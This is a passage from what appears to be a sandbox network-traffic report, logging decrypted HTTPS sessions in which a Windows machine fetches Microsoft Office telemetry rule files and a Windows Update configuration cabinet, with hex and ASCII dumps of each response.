SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:07 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:07 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163607Z-r1cf579d7786c2tshC1EWRr1gc00000002m00000000015x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:08 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:07 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:08 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163608Z-r1cf579d77867vg8hC1EWR8knc00000002q0000000005guz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:08 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:07 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:08 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163608Z-r1cf579d778v97q7hC1EWRf95c00000002e00000000069xh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:08 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:09 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163609Z-r1cf579d778v97q7hC1EWRf95c00000002d00000000084v0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:09 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163609Z-r1cf579d7784wpmvhC1EWRk4cn00000002ag000000004uph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:09 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:10 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163610Z-r1cf579d778qlpkrhC1EWRpfc800000003h00000000055uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:10 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:10 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:10 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163610Z-r1cf579d778kr8xrhC1EWRfkun0000000360000000009n37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:10 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:10 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163610Z-r1cf579d77898tqwhC1EWRf9q800000002wg0000000062dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	49843	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:11 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bY3mL7oZgPN4r+r&MD=+LovX38k HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 16:36:11 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 20735982-e3d7-4d1d-abf3-41b3a64c615f MS-RequestId: 8a36ba06-05d9-4530-a0ce-dae186d1ced0 MS-CV: KWVUr7ATbkepySfZ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 16:36:11 GMT Connection: close Content-Length: 30005
2024-12-07 16:36:11 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-07 16:36:11 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:11 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 22947e51-b01e-0021-7203-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163611Z-r1cf579d7786c2tshC1EWRr1gc00000002eg000000006f73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:11 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163612Z-r1cf579d778t6txphC1EWRsd4400000003cg000000002u3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
